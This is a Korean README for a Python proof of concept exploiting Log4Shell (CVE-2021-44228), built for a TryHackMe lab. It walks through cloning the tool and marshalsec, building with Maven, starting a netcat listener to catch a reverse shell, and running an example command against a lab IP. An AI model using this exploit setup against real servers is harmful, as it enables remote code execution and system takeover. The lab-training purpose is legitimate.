
CVE-2021-44228(Log4Shell)용 Python PoC로, 정교하게 제작된 Java 페이로드를 통해 악용을 자동화하며, 사용자 지정 GET 요청과 리버스 셸 전달을 위한 argparse 옵션을 제공합니다.
이 파이썬 스크립트는 제가 Log4j TryHackMe 룸에서 작업하는 동안 만들었습니다. 이 스크립트는 해당 룸의 기본 변수로 만들어졌지만, argparse를 사용하여 GET 요청에 대해 다용도로 사용할 수 있도록 했습니다. 필요한 모든 변수는 다양한 옵션으로 변경할 수 있으며, 자세한 내용은 -h를 참조하세요.
여기에는 제 스크립트만 호스팅되어 있으며, 올바르게 실행하려면 두 가지 추가 다운로드가 필요합니다. 링크를 제공하겠지만, 제가 한 방식대로 폴더를 설정하면 스크립트를 별다른 노력 없이 실행할 수 있습니다. 먼저 log4j 폴더(또는 원하는 이름)를 만든 다음 이 리포지토리를 git clone 하고 poc.py를 /log4j/로 이동하세요.
git clone https://github.com/ab0x90/CVE-2021-44228_PoC.git
다음으로 방금 만든 디렉터리 안에 marshalsec을 클론한 다음 Maven을 사용하여 빌드하세요.
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
mvn clean package -DskipTests
마지막으로, Java 8의 일부 버전을 다운로드해야 합니다. 이 스크립트의 경우 -j의 기본값은 'jdk1.8.0_20'입니다.
모든 것이 추출되면 새 디렉터리는 다음과 같아야 합니다.
kali@kali-[~/tools/Exploits/log4j]$ls -al
total 338448
drwxr-xr-x 5 kali kali 4096 Dec 14 15:22 .
drwx------ 3 kali kali 4096 Dec 14 14:34 ..
drwxr-xr-x 8 kali kali 4096 Jul 30 2014 jdk1.8.0_20
drwxr-xr-x 5 kali kali 4096 Dec 14 14:40 marshalsec
-rw-r--r-- 1 kali kali 2781 Dec 14 16:02 poc.py
이 설정이 완료된 후, 다른 버전의 Java를 사용하려면 -j JAVA_FOLDER_NAME을 사용하여 할 수 있습니다.
도움말 메뉴

스크립트에는 THM 룸에서 제공된 페이로드가 포함되어 있습니다. IP/포트를 원하는 대로 변경하세요.

java_payload에 지정된 포트에서 셸을 잡기 위해 netcat 리스너를 시작하세요.
8000 포트에서 파이썬 웹 서버를 시작하세요.
예제 명령:
python3 poc.py -l 10.6.20.239 -i 10.10.64.53 -p 8983
예제 출력 및 리버스 셸:
